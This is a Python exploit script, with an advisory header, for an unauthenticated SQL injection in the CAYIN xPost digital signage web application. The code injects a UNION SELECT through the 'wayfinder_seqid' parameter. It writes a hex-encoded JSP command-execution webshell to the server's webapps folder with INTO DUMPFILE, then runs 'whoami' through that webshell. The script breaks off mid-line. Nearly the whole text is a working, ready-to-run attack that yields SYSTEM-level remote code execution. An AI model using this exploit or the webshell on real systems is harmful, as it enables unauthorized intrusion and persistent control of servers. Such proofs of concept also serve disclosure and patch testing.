#!/usr/bin/env python3 # # # Cayin Digital Signage System xPost 2.5 Pre-Auth SQLi Remote Code Execution # # # Vendor: CAYIN Technology Co., Ltd. # Product web page: https://www.cayintech.com # Affected version: 2.5.18103 # 2.0 # 1.0 # # Summary: CAYIN xPost is the web-based application software, which offers a # combination of essential tools to create rich contents for digital signage in # different vertical markets. It provides an easy-to-use platform for instant # data entry and further extends the usage of CAYIN SMP players to meet users' # requirements of frequent, daily maintenance. # # Desc: CAYIN xPost suffers from an unauthenticated SQL Injection vulnerability. # Input passed via the GET parameter 'wayfinder_seqid' in wayfinder_meeting_input.jsp # is not properly sanitised before being returned to the user or used in SQL queries. # This can be exploited to manipulate SQL queries by injecting arbitrary SQL code # and execute SYSTEM commands. # # -------------------------------------------------------------------------------- # lqwrm@zslab:~$ python3 wayfinder.py 192.168.2.1:8888 # # Injecting... # # Executing... # # Command: whoami # # nt authority\system # # # You have a webshell @ http://192.168.2.1:8888/thricer.jsp # lqwrm@zslab:~$ # -------------------------------------------------------------------------------- # # Tested on: Microsoft Windows 10 Home # Microsoft Windows 8.1 # Microsoft Windows Server 2016 # Microsoft Windows Server 2012 # Microsoft Windows 7 Ultimate SP1 # Apache Tomcat/9.0.1 # MySQL/5.0 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2020-5571 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php # # # 15.05.2020 # import requests as req import time as vremeto import sys as sistemot import re as regularno if len(sistemot.argv) < 2: print("Cayin xPost 2.5 Pre-Auth SQLi RCE") print("Usage: ./wayfinder.py ip:port") sistemot.exit(19) else: ip = sistemot.argv[1] filename = "thricer.jsp" urlpath = "/cayin/wayfinder/wayfinder_meeting_input.jsp?wayfinder_seqid=" constr = "-251' UNION ALL SELECT " print("# Injecting...") cmdjsp = "0x3c2540207061676520696d706f72743d226a6176612e7574696c2e2a2c6a6176612" cmdjsp += "e696f2e2a22253e0a3c250a2f2f0a2f2f204a53505f4b49540a2f2f0a2f2f20636d64" cmdjsp += "2e6a7370203d20436f6d6d616e6420457865637574696f6e2028756e6978290a2f2f0" cmdjsp += "a2f2f2062793a20556e6b6e6f776e0a2f2f206d6f6469666965643a2032372f30362f" cmdjsp += "323030330a2f2f0a253e0a3c48544d4c3e3c424f44593e0a3c464f524d204d4554484" cmdjsp += "f443d2247455422204e414d453d226d79666f726d2220414354494f4e3d22223e0a3c" cmdjsp += "494e50555420545950453d227465787422204e414d453d22636d64223e0a3c494e505" cmdjsp += "55420545950453d227375626d6974222056414c55453d2253656e64223e0a3c2f464f" cmdjsp += "524d3e0a3c7072653e0a3c250a69662028726571756573742e676574506172616d657" cmdjsp += "465722822636d64222920213d206e756c6c29207b0a20202020202020206f75742e70" cmdjsp += "72696e746c6e2822436f6d6d616e643a2022202b20726571756573742e67657450617" cmdjsp += "2616d657465722822636d642229202b20223c42523e22293b0a202020202020202050" cmdjsp += "726f636573732070203d2052756e74696d652e67657452756e74696d6528292e65786" cmdjsp += "56328726571756573742e676574506172616d657465722822636d642229293b0a2020" cmdjsp += "2020202020204f757470757453747265616d206f73203d20702e6765744f757470757" cmdjsp += "453747265616d28293b0a2020202020202020496e70757453747265616d20696e203d" cmdjsp += "20702e676574496e70757453747265616d28293b0a202020202020202044617461496" cmdjsp += "e70757453747265616d20646973203d206e65772044617461496e7075745374726561" cmdjsp += "6d28696e293b0a2020202020202020537472696e672064697372203d206469732e726" cmdjsp += "561644c696e6528293b0a20202020202020207768696c652028206469737220213d20" cmdjsp += "6e756c6c2029207b0a202020202020202020202020202020206f75742e7072696e746" cmdjsp += "c6e2864697372293b200a2020202020202020202020202020202064697372203d2064" cmdjsp += "69732e726561644c696e6528293b200a202020202020202020202020202020207d0a2" cmdjsp += "0202020202020207d0a253e0a3c2f7072653e0a3c2f424f44593e3c2f48544d4c3e0a" cmdjsp += "0a0a" columns = ",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL " sqlwrite = "INTO DUMPFILE 'C:/CayinApps/webapps/" + filename + "'-- -" mysqli = constr + cmdjsp + columns + sqlwrite r = req.get("http://" + ip + urlpath + mysqli, allow_redirects = True) vremeto.sleep(1) print("# Executing...") r = req.get("http://" + ip + "/" + filename + "?cmd=whoami") clean = regularno.compile("
(.*)", flags = regularno.S).search(r.text) clean = clean.group(1).replace("